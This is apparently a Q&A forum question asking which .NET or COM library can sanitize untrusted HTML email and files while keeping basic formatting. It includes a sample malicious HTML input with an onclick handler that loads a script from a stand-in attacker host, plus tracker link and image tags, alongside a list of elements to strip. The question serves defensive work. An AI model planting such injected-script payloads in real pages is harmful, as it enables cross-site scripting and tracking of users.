title: What can I use to sanitize received HTML while retaining basic formatting?
body: <p>This is a common problem, I'm hoping it's been thoroughly solved for me.</p>
  
  <p>In a system I'm doing for a client, we want to accept HTML from untrusted sources (HTML-formatted email and also HTML files), sanitize it so it doesn't have any scripting, links to external resources, and other security/etc. issues; and then display it safely while not losing the basic formatting. E.g., much as an email client would do with HTML-formatted email, but ideally without repeating the 347,821 mistakes that have been made (so far) in that arena. :-)</p>
  
  <p>The goal is to end up with something we'd feel comfortable displaying to internal users via an <code>iframe</code> in our own web interface, or via the <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.webbrowser.aspx" rel="noreferrer">WebBrowser class</a> in a .Net Windows Forms app (which seems to be no safer, possibly less so), etc. Example below.</p>
  
  <p>We recognize that some of this may well muck up the display of the text; that's okay.</p>
  
  <p>We'll be sanitizing the HTML on receipt and storing the sanitized version <em>(don't worry about the storage part&nbsp;&mdash; SQL injection and the like&nbsp;&mdash; we've got that bit covered)</em>.</p>
  
  <p>The software will need to run on Windows Server. COM DLL or .Net assembly preferred. FOSS markedly preferred, but not a deal-breaker.</p>
  
  <p>What I've found so far:</p>
  
  <ul>
  <li>The <a href="http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET" rel="noreferrer">AntiSamy.Net project</a> <em>(but it appears to <a href="http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project#.NET" rel="noreferrer">no longer be under active development</a>, being over a year behind the main&nbsp;&mdash; and active&nbsp;&mdash; <a href="http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project" rel="noreferrer">AntiSamy Java project</a>)</em>.</li>
  <li><a href="http://refactormycode.com/codes/333-sanitize-html" rel="noreferrer">Some code</a> from our very own Jeff Atwood, circa three years ago <em>(gee, I wonder what he was doing...)</em>.</li>
  <li>The <a href="http://www.codeplex.com/htmlagilitypack" rel="noreferrer">HTML Agility Pack</a> <em>(used by the AntiSamy.Net project above)</em>, which would give me a robust parser; then I could implement my own logic for walking through the resulting DOM and filtering out anything I didn't whitelist. The agility pack looks really great, but I'd be relying on my own whitelist rather than reusing a wheel that someone's already invented, so that's a ding against it.</li>
  <li>The <a href="http://msdn.microsoft.com/en-us/security/aa973814" rel="noreferrer">Microsoft Anti-XSS library</a></li>
  </ul>
  
  <p>What would you recommend for this task? One of the above? Something else?</p>
  
  <hr>
  
  <p>For example, we want to remove things like:</p>
  
  <ul>
  <li><code>script</code> elements</li>
  <li><code>link</code>, <code>img</code>, and such elements that reach out to external resources (probably replace <code>img</code> with the text "[image removed]" or some such)</li>
  <li><code>embed</code>, <code>object</code>, <code>applet</code>, <code>audio</code>, <code>video</code>, and other tags that try to create objects</li>
  <li><code>onclick</code> and similar DOM0 event handler script code</li>
  <li><code>href</code>s on <code>a</code> elements that trigger code (even links we think are okay we may well turn into plaintext that users have to intentionally copy and paste into a browser).</li>
  <li>__________ <em>(the 722 things I haven't thought of that are the reason I'm looking to leverage something that already exists)</em></li>
  </ul>
  
  <p>So for instance, this HTML:</p>
  
  <pre><code>&lt;!DOCTYPE html&gt;
  &lt;html&gt;
  &lt;head&gt;
  &lt;title&gt;Example&lt;/title&gt;
  &lt;link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css"&gt;
  &lt;/head&gt;
  &lt;body&gt;
  &lt;p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();"&gt;
  &lt;strong&gt;Hi there!&lt;/strong&gt; Here's my nefarious tracker image:
  &lt;img src='http://evil.example.com/xparent.gif'&gt;
  &lt;/p&gt;
  &lt;/body&gt;
  &lt;/html&gt;
  </code></pre>
  
  <p>would become</p>
  
  <pre><code>&lt;!DOCTYPE html&gt;
  &lt;html&gt;
  &lt;head&gt;
  &lt;title&gt;Example&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
  &lt;p&gt;
  &lt;strong&gt;Hi there!&lt;/strong&gt; Here's my nefarious tracker image:
  [image removed]
  &lt;/p&gt;
  &lt;/body&gt;
  &lt;/html&gt;
  </code></pre>
  
  <p>(Note we removed the <code>link</code> and the <code>onclick</code> entirely, and replaced the <code>img</code> with a placeholder. This is just a small subset of what we figure we'll need to strip out.)</p>